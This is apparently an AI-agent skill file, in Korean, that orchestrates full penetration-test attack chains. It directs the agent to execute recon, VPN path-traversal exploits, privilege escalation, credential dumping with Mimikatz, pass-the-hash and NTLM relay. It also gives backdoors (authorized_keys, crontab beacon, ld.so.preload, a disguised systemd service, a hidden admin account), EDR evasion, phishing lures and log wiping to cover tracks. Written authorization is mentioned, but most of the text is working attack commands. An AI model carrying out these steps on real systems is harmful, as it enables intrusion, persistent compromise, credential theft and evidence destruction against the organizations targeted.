공격 체인 오케스트레이션 스킬은(는) 무엇을 하나요?
ACTION REQUIRED (读完立刻执行)
NOW:../field-journal/precedent-pentest.md읽기 — 본 스킬의 작업이 승인된 일상적인 작업인지 확인NOW: 케이스 생성/업데이트(../scripts/case-init.ps1) 및scope.md(../ops/scope-contract.md) 완료;auth.status!=granted인 경우ACT금지NOW: lead 역할로 단계 계획(../ops/role-map.md), specialist_roles 작성NEXT:../tool-index.md읽어 도구 가용성 및 실제 경로 검증NEXT: 도구 부재 시 bootstrap 호출, 경로 추측 금지ACT:references/lifecycle-checklist.md에 따라 단계 게이트 통과; 각 단계마다timeline.md+workitems.md업데이트(../ops/timeline-workitem.md); 발견 사항은 Evidence/Finding으로 승격- 종료:
docs-generator보고서는 Evidence 체인을 반드시 포함해야 함
다단계 공격 경로 계획 및 실행의 총지휘관. 작업이 'A에서 B까지'의 완전한 링크를 필요로 할 때, 본 스킬은 각 단계를 편성하고, 서브 스킬을 조정하며, 공격 경로를 계획합니다. '레드팀 전용'이 아닙니다 — 단계를 조합해야 하는 모든 침투 시나리오는 여기서 시작합니다.
언제 본 스킬로 라우팅해야 하는가
다음 시나리오는 반드시 먼저 본 스킬을 통해 전체 링크 계획을 수립한 후, 구체적인 서브 스킬로 분배되어야 합니다:
| 시나리오 | 왜 편성이 필요한가 |
|---|---|
| '나를 위해 완전한 침투 테스트를 해줘' | 정보 수집부터 보고서까지 전체 프로세스 계획 필요 |
| '외부 네트워크에서 도메인 컨트롤러까지 도달' | 경계 돌파 → 권한 상승 → 측면 이동 → AD 여러 단계를 거침 |
| 'HW 공방 훈련' | 완전한 공격 체인 + 은폐성 + 흔적 제거 필요 |
| '이 목표의 공격 표면 평가' | 다차원 정보 수집 + 경로 계획 필요 |
| '웹쉘을 획득했는데, 다음 단계는?' | 현재 거점에서 후속 경로 계획 필요 |
| '공격 경로 계획 도와줘' | 명시적으로 경로 편성 필요 |
| '이 취약점으로 어디까지 갈 수 있나?' | 취약점의 체인 활용 가치 평가 필요 |
| '버그 바운티 지속 모니터링' | 자동화된 다단계 프로세스 필요 |
| '내부 네트워크 침투 전체 프로세스' | 측면 이동 + 권한 상승 + 도메인 공격 조합 |
| '근원 침투 계획' | 물리적 접근 + 내부 네트워크 침투 조합 |
| '공급망 공격 경로' | 조직 간 다중 홉 공격 |
| '피싱 + 사후 침투' | 초기 접근 + 후속 활용 조합 |
단일 단계 작업은 본 스킬을 거칠 필요가 없습니다:
- 포트 스캔만 →
pentest-tools/로 직접 - SQL 인젝션만 →
pentest-tools/로 직접 - APK 리버싱만 →
apk-reverse/로 직접 - 도메인 침투만 →
windows-ad/SKILL.md로 직접
편성 원칙
본 스킬의 역할
사용자가 다단계 작업 제시
↓
attack-chain/SKILL.md (본 파일)
↓ 공격 경로 계획, 단계 순서 결정
↓ 각 단계에 필요한 도구 및 방법 평가
↓
구체적인 서브 스킬로 분배하여 실행:
├── pentest-tools/ → 도구 호출, 취약점 활용
├── apk-reverse/ → 모바일 침투
├── js-reverse/ → 웹 프론트엔드 돌파
├── reverse-engineering/ → 바이너리 분석
├── ida-reverse/ → 심층 리버싱
└── browser-automation/ → 자동화 작업
↓
각 단계 완료 후 본 스킬로 돌아와 다음 단계 평가
↓
전체 완료 → docs-generator가 보고서 생성
경로 계획 의사 결정 트리
목표 획득 후:
1. 목표는 무엇인가? (웹/내부 네트워크/클라우드/모바일/IoT)
2. 현재 무엇을 가지고 있는가? (외부 관점/이미 보유한 자격 증명/이미 확보한 거점)
3. 최종 목표는 무엇인가? (도메인 컨트롤러/데이터/특정 시스템/영향력 증명)
4. 제약 조건은? (시간/은폐성/건드릴 수 없는 시스템)
↓
위 정보를 바탕으로 최단 경로 계획
↓
한 경로가 막히면 → 본 스킬로 돌아와 대체 경로 재계획
완전한 공격 체인 단계
1. 정보 수집 단계 (Reconnaissance)
1.1 기업 디지털 자산 매핑
# 자회사 연관 도메인 발견
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# 병합 및 중복 제거
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# 활성 상태 탐지
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# 포트 스캔 (전체 포트)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
실전 포인트:
- 기업 정보 플랫폼(企查查/天眼查 등)을 통해 자회사 목록 획득, 공격 표면 확대
- 테스트 환경(test., dev., staging.) 및 새로上线한 시스템에 주목
- 인증서 투명성 로그(crt.sh)를 통해 숨겨진 도메인 발견
1.2 민감 정보 유출 헌팅
# GitHub 검색
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# JS 파일 내 API Key
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
고가치 대상:
- 클라우드 서비스 AK/SK (Alibaba Cloud, AWS, Azure)
- 데이터베이스 연결 문자열
- JWT 비밀키
- 내부 API 문서
- VPN/배스천 호스트 자격 증명
1.3 직원 정보 프로파일링
사회 공학 사전 생성 규칙:
{이름 로마자 표기}{연도} → zhangsan2024
{이름 이니셜}{부서 약칭} → zs_dev
{사번}@{도메인} → [email protected]
{이름}{일반적인 접미사} → zhangsan@123, zhangsan!@#
정보 출처:
- Maimai/LinkedIn 부서 구조
- 기업 공식 계정/웹사이트 팀 소개
- 채용 정보 (기술 스택 노출)
- 학술 논문 (이메일 노출)
1.4 기술 스택 핑거프린트 식별
# 웹 핑거프린트
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# 특정 프레임워크 탐지
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS 식별
wpscan --url https://target.com --enumerate p,t,u
2. 경계 돌파 단계 (Initial Access)
2.1 웹 취약점 활용 (고빈도 돌파 지점)
| 취약점 유형 | 탐지 도구 | 활용 방식 |
|---|---|---|
| SQL 인젝션 | sqlmap | 데이터 추출 → 쉘 작성 → OS 명령 |
| SSTI | sstimap | 템플릿 인젝션 → RCE |
| 파일 업로드 | 수동 + Burp | 웹쉘 → 리버스 쉘 |
| 역직렬화 | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | 수동 | 내부 네트워크 탐지 → 클라우드 메타데이터 → AK/SK |
| 인증되지 않은 접근 | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | 관리자 세션 하이재킹 |
# SQL 인젝션 자동화
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI 탐지
sstimap -u "https://target.com/search?q=test"
# Nuclei 배치 스캔
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
2.2 공급망 공격
공격 경로:
- 대상이 사용하는 타사 컴포넌트/서비스 제공업체 식별
- 공급업체 공격을 통해 코드 서명/업데이트 푸시 권한 획득
- 합법적인 업데이트 채널을 통해 악성 페이로드 전달
일반적인 진입점:
- 오픈소스 컴포넌트 중독 (npm/pip/maven)
- SaaS 서비스 제공업체 API 남용
- 외주 직원 권한 활용
- 공유 IT 서비스 제공업체를 통한 측면 침투
2.3 피싱 공격
이메일 피싱:
주제 템플릿:
- [긴급] VPN 인증서가 곧 만료됩니다, 즉시 갱신하세요
- [IT 공지] 이메일 저장 공간 부족, 정리해 주세요
- [인사] 2024년도 성과 평가 결과 조회
- [재무] 비용报销 시스템 업그레이드, 재로그인하여 확인하세요
페이로드 유형:
- Office 매크로 문서 (.docm/.xlsm)
- LNK 바로가기 (PDF 위장)
- HTML 밀수 (HTML Smuggling)
- ISO/IMG 이미지 (MOTW 우회)
- OneNote 포함 스크립트
OAuth 피싱 (2025년 신규 트렌드):
- 악성 OAuth 애플리케이션을 구성하여 권한 요청
- 사용자 승인 후 이메일/파일 접근 권한 획득
- 비밀번호 불필요, MFA 우회
2.4 근원 침투 (Physical Access)
| 기술 | 도구 | 효과 |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | 키보드 인젝션 → 리버스 쉘 |
| 악성 충전기 | O.MG Cable | 데이터 케이블로 위장한 백도어 이식 |
| WiFi 피싱 | Fluxion / WiFi Pineapple | 가짜 핫스팟 생성 → 자격 증명 캡처 |
| RFID 클론 | Proxmark3 | 출입 카드 복제 → 물리적 진입 |
| 네트워크 이식 | Raspberry Pi / LAN Turtle | 내부 네트워크 지속 접근 지점 |
# Fluxion WiFi 피싱
fluxion # 대화형으로 대상 AP 선택 → 가짜 핫스팟 생성 → WPA 비밀번호 캡처
# BadUSB 연동 Cobalt Strike
# USB를 통해 PowerShell 다운로더 인젝션 → C2上线
2.5 VPN/원격 접속 돌파
# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# 일반: 비밀번호 스프레이
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
2.6 클라우드 서비스 돌파
# AWS S3 버킷 열거
aws s3 ls s3://target-bucket --no-sign-request
# 클라우드 메타데이터 SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD 비밀번호 스프레이
# MSOLSpray / Spray 도구 사용
3. 권한 상승 단계 (Privilege Escalation)
3.1 Windows 권한 상승
| 기술 | 조건 | 도구 |
|---|---|---|
| Potato 시리즈 | SeImpersonate 권한 | SweetPotato / GodPotato / PrintSpoofer |
| 커널 취약점 | 패치 미적용 | watson / wesng 탐지 |
| 서비스 경로 하이재킹 | 따옴표 없는 서비스 경로 | PowerUp |
| DLL 하이재킹 | 쓰기 가능한 DLL 검색 경로 | Process Monitor |
| AlwaysInstallElevated | 레지스트리 설정 | msiexec로 악성 MSI 설치 |
| 예약 작업 | 쓰기 가능한 작업 스크립트 | schtasks로 교체 |
# SeImpersonate 탐지
whoami /priv | findstr "SeImpersonate"
# Potato 권한 상승
.\GodPotato.exe -cmd "cmd /c whoami"
# 자동화 탐지
.\winPEAS.exe
3.2 Linux 권한 상승
# SUID 탐지
find / -perm -4000 -type f 2>/dev/null
# sudo 남용
sudo -l
# 일반적으로 활용 가능: vim, find, python, nmap, less, awk, perl
# sudo vim 권한 상승
sudo vim -c ':!/bin/bash'
# sudo find 권한 상승
sudo find / -exec /bin/bash \;
# 커널 취약점
uname -r # 버전 확인
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# 자동화 탐지
./linpeas.sh
3.3 데이터베이스 권한 상승
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF 권한 상승
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
3.4 클라우드 권한 상승
# AWS IAM 열거
aws iam list-attached-user-policies --user-name compromised-user
# iam:PassRole + lambda:CreateFunction 탐색 → 관리자 권한
# Azure AD
# 글로벌 관리자 → 모든 구독 제어
# 애플리케이션 관리자 → 서비스 주체에 자격 증명 추가
4. 측면 이동 단계 (Lateral Movement)
4.1 자격 증명 획득
# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux 자격 증명
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM 해시 추출
secretsdump.py domain/user:password@dc_ip
4.2 Pass-the-Hash / Pass-the-Ticket
# PTH 측면 이동
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
4.3 은밀한 측면 이동 기술
# WMI 파일리스 실행
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM 원격 실행
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec (흔적 남음)
psexec.py domain/admin:password@target_ip
# SSH 터널 (Linux 환경)
ssh -D 1080 user@pivot_host # SOCKS 프록시
ssh -L 3389:internal_host:3389 user@pivot_host # 포트 포워딩
4.4 NTLM 릴레이
# Responder의 SMB/HTTP 비활성화
# Responder.conf 편집: SMB = Off, HTTP = Off
# Responder 시작하여 캡처
responder -I eth0
# NTLM 릴레이 대상으로
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer 강제 인증
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
4.5 AD 공격 경로
# BloodHound 데이터 수집
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# 일반적인 공격 경로:
# 1. 사용자 → GenericAll → 대상 사용자 → 비밀번호 재설정
# 2. 사용자 → WriteDacl → 대상 OU → 권한 추가
# 3. 컴퓨터 → 제한된 위임 → 모든 사용자 가장
# 4. 사용자 → DCSync 권한 → 모든 해시 내보내기
# Certipy AD CS 공격
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
5. 권한 유지 단계 (Persistence)
5.1 Windows 지속성
| 기술 | 은폐성 | 탐지 난이도 |
|---|---|---|
| 예약 작업 | 중 | 낮음 |
| 레지스트리 Run 키 | 낮음 | 낮음 |
| WMI 이벤트 구독 | 높음 | 높음 |
| DLL 하이재킹 | 높음 | 중 |
| 섀도우 계정 | 중 | 중 |
| Golden Ticket | 매우 높음 | 매우 높음 |
| DSRM 백도어 | 매우 높음 | 매우 높음 |
# WMI 이벤트 구독 (높은 은폐성)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# 섀도우 계정
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# 레지스트리 F 값 수정하여 RID 복제
5.2 Linux 지속성
# SSH 키 이식
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab 백도어
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD 하이재킹
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM 백도어
# pam_unix.so 수정하여 마스터 비밀번호 추가
# Systemd 서비스
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
5.3 클라우드 환경 지속성
# AWS Lambda 백도어
# 정기적으로 트리거되는 Lambda 함수 생성, C2에 재연결
# Azure AD 앱 등록
# 애플리케이션 생성 → 비밀 키 자격 증명 추가 → Graph API 권한 부여
# 컨테이너 백도어
# 베이스 이미지 수정 → 모든 새 컨테이너에 백도어 포함
6. EDR/AV 우회 (Evasion)
6.1 핵심 우회 전략
| 계층 | 기술 | 설명 |
|---|---|---|
| 정적 탐지 | 암호화/난독화/사용자 정의 로더 | 시그니처 매칭 방지 |
| 행동 탐지 | 간접 시스템 콜/언후킹 | API 후킹 우회 |
| 메모리 탐지 | 모듈 스톰핑/힙 암호화 | 메모리 스캔 방지 |
| 네트워크 탐지 | 도메인 프론팅/합법 서비스 터널링 | 정상 트래픽과 혼합 |
| 로그 탐지 | ETW 패칭/로그 제거 | 흔적 감소 |
6.2 실용적인 우회 기술
1. 셸코드 로더 사용자 정의 (공개 도구 사용 금지)
2. 시스템 콜 직접 호출 (ntdll 후킹 우회)
3. 낮은 모니터링 프로세스에 프로세스 인젝션 선택 (예: RuntimeBroker.exe)
4. C2 트래픽 HTTPS + 도메인 프론팅 / Cloudflare Workers 경유
5. 메모리 내 실행, 디스크에 기록 금지 (Fileless)
6. 합법적인 서명된 프로그램 활용하여 로드 (LOLBins)
6.3 C2 프레임워크 선택
| 프레임워크 | 특징 | 적합한 시나리오 |
|---|---|---|
| Cobalt Strike | 성숙하고 안정적, 팀 협업 | 대규모 레드팀 운영 |
| Sliver | 오픈소스, Go 작성 | 예산 제한적 |
| Havoc | 현대적, 모듈식 | 맞춤 설정 필요 |
| Mythic | 다중 에이전트 지원 | 크로스 플랫폼 |
| AdaptixC2 | Kali 2026.1 수록 | 빠른 배포 |
7. 흔적 제거 (Anti-Forensics)
# Windows 로그 제거
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux 로그 제거
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# 타임스탬프 수정
touch -t 202301010000 /path/to/file
# 메모리 정리
# Mimikatz 덤프가 삭제되었는지 확인
# C2 비콘이 종료되었는지 확인
# 임시 파일이 삭제되었는지 확인
레드팀 운영 철칙
세 가지 최소한의 원칙
- 모든 작업은 서면 승인을 받아야 함
- 데이터 유출 시 익명화 처리 필요
- 모든 공격 흔적 제거 (메모리 상주 포함)
운영 규율
- 각 작업 전 위험 수준 평가 (낮음/중간/높음/심각)
- 고위험 작업 전 프로젝트 관리자에게 통지
- 작업 로그 유지 (시간, 동작, 결과)
- 고위험 취약점 발견 시 즉시 보고, 확대 활용 금지
- 비즈니스 가용성에 영향 금지 (DoS 금지)
- 실제 사용자 데이터에 접근/다운로드 금지
전형적인 실패 사례
| 실패 원인 | 결과 | 교훈 |
|---|---|---|
| Mimikatz 메모리 덤프 미제거 | 블루팀이 완전한 공격 경로 추적 | 작업 후 즉시 정리 |
| C2 도메인이 위협 인텔리전스에标记 | 첫 연결부터 차단 | 새로 등록된 도메인 + 도메인 프론팅 사용 |
| 피싱 이메일이 DLP 경고를 트리거 | 블루팀이 사전 경고 수신 | 이메일 게이트웨이 규칙 먼저 테스트 |
| 측면 이동 중 허니팟 트리거 | 공격 의도 노출 | 허니팟 식별 후 이동 |
도구 빠른 참조표
정보 수집
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
취약점 활용
nuclei sqlmap sstimap xsstrike burpsuite metasploit
권한 상승
winPEAS linpeas GodPotato PrintSpoofer watson
측면 이동
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
C2 프레임워크
cobalt-strike sliver havoc mythic adaptixc2
근원 침투
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
본 패키지 내 다른 스킬과의 관계
| 요구 사항 | 라우팅 대상 |
|---|---|
| 웹 취약점 심층 활용 | pentest-tools/SKILL.md |
| 내부 네트워크 AD 공격 상세 단계 | windows-ad/SKILL.md |
| 악성 샘플 리버싱 분석 | reverse-engineering/SKILL.md |
| APK 리버싱 (모바일 침투) | apk-reverse/SKILL.md |
| JS 프론트엔드 서명 우회 | js-reverse/SKILL.md |
| 자동화 대규모 침투 | Pentest Swarm AI (pentestswarm scan --swarm) |
| AI 보조 침투 | mcp-kali-server / metasploitmcp / hexstrike-ai |
| 보고서 생성 | docs-generator/SKILL.md |
| 공격 경로 다이어그램 | diagram-generator/SKILL.md |
작업 완료 자가 점검 (완료를 주장하기 전에 반드시 통과)
- 작업 흐름의 각 단계를 실제로 실행했습니까 (단순히 읽기만 하지 않았습니까)?
-
tool-index를 기반으로 실제 도구 경로를 사용했습니까? - 재현 가능한 증거 (명령어/스크립트/스크린샷/보고서)를 산출했습니까?
- RULES에서 요구하는 체크리스트 항목을 완료하고 다시 기록했습니까?